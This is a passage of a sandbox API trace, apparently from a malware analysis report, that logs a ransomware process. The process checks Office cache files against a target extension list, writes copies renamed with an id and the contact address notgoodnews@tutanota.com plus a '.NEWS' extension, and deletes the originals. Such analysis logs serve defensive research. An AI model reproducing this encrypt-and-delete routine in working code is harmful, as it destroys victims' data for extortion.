"c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.414] lstrlenW (lpString=".doc") returned 4 [0045.414] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.414] lstrlenW (lpString=".docx") returned 5 [0045.414] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.414] lstrlenW (lpString=".pdf") returned 4 [0045.414] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.414] lstrlenW (lpString=".xls") returned 4 [0045.415] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.415] lstrlenW (lpString=".xlsx") returned 5 [0045.415] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.415] lstrlenW (lpString=".ppt") returned 4 [0045.415] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.415] lstrlenW (lpString=".zip") returned 4 [0045.415] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.415] lstrlenW (lpString=".rar") returned 4 [0045.415] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.415] lstrlenW (lpString=".bz2") returned 4 [0045.415] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.415] lstrlenW (lpString=".7z") returned 3 [0045.415] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.415] lstrlenW (lpString=".dbf") returned 4 [0045.415] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.415] lstrlenW (lpString=".1cd") returned 4 [0045.415] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.415] lstrlenW (lpString=".jpg") returned 4 [0045.415] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.416] lstrlenW (lpString=".doc") returned 4 [0045.416] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.416] lstrlenW (lpString=".docx") returned 5 [0045.416] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.416] lstrlenW (lpString=".pdf") returned 4 [0045.416] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.416] lstrlenW (lpString=".xls") returned 4 [0045.416] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.416] lstrlenW (lpString=".xlsx") returned 5 [0045.416] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.416] lstrlenW (lpString=".ppt") returned 4 [0045.416] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.416] lstrlenW (lpString=".zip") returned 4 [0045.416] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.416] lstrlenW (lpString=".rar") returned 4 [0045.416] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.416] lstrlenW (lpString=".bz2") returned 4 [0045.416] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.416] lstrlenW (lpString=".7z") returned 3 [0045.416] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.417] lstrlenW (lpString=".dbf") returned 4 [0045.417] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.417] lstrlenW (lpString=".1cd") returned 4 [0045.417] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.417] lstrlenW (lpString=".jpg") returned 4 [0045.417] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.417] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.417] lstrlenW (lpString="WordMUI.xml") returned 11 [0045.417] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.417] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1800) returned 1 [0045.418] CloseHandle (hObject=0x1a0) returned 1 [0045.418] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0045.418] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.418] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.418] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.418] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.418] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.418] GetLastError () returned 0x0 [0045.419] ReadFile (in: hFile=0x1a0, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x708, lpOverlapped=0x0) returned 1 [0045.421] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x710, lpOverlapped=0x0) returned 1 [0045.423] ReadFile (in: hFile=0x1a0, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.423] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.423] SetEndOfFile (hFile=0x1a4) returned 1 [0045.423] CloseHandle (hObject=0x1a4) returned 1 [0045.424] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.424] SetEndOfFile (hFile=0x1a0) returned 1 [0045.426] CloseHandle (hObject=0x1a0) returned 1 [0045.426] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.426] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0045.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.426] lstrlenW (lpString=".doc") returned 4 [0045.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString=".docx") returned 5 [0045.427] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.427] lstrlenW (lpString=".pdf") returned 4 [0045.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString=".xls") returned 4 [0045.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString=".xlsx") returned 5 [0045.427] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.427] lstrlenW (lpString=".ppt") returned 4 [0045.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.427] lstrlenW (lpString=".zip") returned 4 [0045.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.427] lstrlenW (lpString=".rar") returned 4 [0045.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString=".bz2") returned 4 [0045.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString=".7z") returned 3 [0045.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.427] lstrlenW (lpString=".dbf") returned 4 [0045.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.428] lstrlenW (lpString=".1cd") returned 4 [0045.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.428] lstrlenW (lpString=".jpg") returned 4 [0045.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.428] lstrlenW (lpString=".doc") returned 4 [0045.428] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString=".docx") returned 5 [0045.428] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.428] lstrlenW (lpString=".pdf") returned 4 [0045.428] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString=".xls") returned 4 [0045.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString=".xlsx") returned 5 [0045.428] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.428] lstrlenW (lpString=".ppt") returned 4 [0045.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.428] lstrlenW (lpString=".zip") returned 4 [0045.428] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.428] lstrlenW (lpString=".rar") returned 4 [0045.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.429] lstrlenW (lpString=".bz2") returned 4 [0045.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.429] lstrlenW (lpString=".7z") returned 3 [0045.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.429] lstrlenW (lpString=".dbf") returned 4 [0045.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.429] lstrlenW (lpString=".1cd") returned 4 [0045.429] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0045.429] lstrlenW (lpString=".jpg") returned 4 [0045.429] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.429] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.429] lstrlenW (lpString="Proof.xml") returned 9 [0045.429] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.430] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1347) returned 1 [0045.431] CloseHandle (hObject=0x1a0) returned 1 [0045.431] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0045.431] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.431] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.431] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.432] GetLastError () returned 0x0 [0045.432] ReadFile (in: hFile=0x1a0, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x543, lpOverlapped=0x0) returned 1 [0045.434] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x550, lpOverlapped=0x0) returned 1 [0045.436] ReadFile (in: hFile=0x1a0, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.436] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.436] SetEndOfFile (hFile=0x1a4) returned 1 [0045.436] CloseHandle (hObject=0x1a4) returned 1 [0045.437] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.437] SetEndOfFile (hFile=0x1a0) returned 1 [0045.439] CloseHandle (hObject=0x1a0) returned 1 [0045.439] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.440] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0045.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.440] lstrlenW (lpString=".doc") returned 4 [0045.440] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.440] lstrlenW (lpString=".docx") returned 5 [0045.440] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0045.440] lstrlenW (lpString=".pdf") returned 4 [0045.440] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.440] lstrlenW (lpString=".xls") returned 4 [0045.440] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.440] lstrlenW (lpString=".xlsx") returned 5 [0045.440] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0045.440] lstrlenW (lpString=".ppt") returned 4 [0045.440] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.441] lstrlenW (lpString=".zip") returned 4 [0045.441] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.441] lstrlenW (lpString=".rar") returned 4 [0045.441] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.441] lstrlenW (lpString=".bz2") returned 4 [0045.441] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.441] lstrlenW (lpString=".7z") returned 3 [0045.441] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.441] lstrlenW (lpString=".dbf") returned 4 [0045.441] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.441] lstrlenW (lpString=".1cd") returned 4 [0045.441] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.494] lstrlenW (lpString=".jpg") returned 4 [0045.494] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.494] lstrlenW (lpString=".doc") returned 4 [0045.494] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.494] lstrlenW (lpString=".docx") returned 5 [0045.494] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0045.494] lstrlenW (lpString=".pdf") returned 4 [0045.494] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.494] lstrlenW (lpString=".xls") returned 4 [0045.494] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.494] lstrlenW (lpString=".xlsx") returned 5 [0045.494] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0045.494] lstrlenW (lpString=".ppt") returned 4 [0045.494] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.495] lstrlenW (lpString=".zip") returned 4 [0045.495] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.495] lstrlenW (lpString=".rar") returned 4 [0045.495] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.495] lstrlenW (lpString=".bz2") returned 4 [0045.495] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.495] lstrlenW (lpString=".7z") returned 3 [0045.495] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.495] lstrlenW (lpString=".dbf") returned 4 [0045.495] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.495] lstrlenW (lpString=".1cd") returned 4 [0045.495] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0045.495] lstrlenW (lpString=".jpg") returned 4 [0045.495] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.496] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.496] lstrlenW (lpString="Proofing.xml") returned 12 [0045.496] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.496] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=811) returned 1 [0045.496] CloseHandle (hObject=0x1a0) returned 1 [0045.496] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0045.496] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.496] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.497] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.497] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.497] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0045.873] GetLastError () returned 0x0 [0045.873] ReadFile (in: hFile=0x1a0, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x32b, lpOverlapped=0x0) returned 1 [0045.898] WriteFile (in: hFile=0x1cc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x330, lpOverlapped=0x0) returned 1 [0045.900] ReadFile (in: hFile=0x1a0, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.900] WriteFile (in: hFile=0x1cc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.900] SetEndOfFile (hFile=0x1cc) returned 1 [0045.901] CloseHandle (hObject=0x1cc) returned 1 [0045.902] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 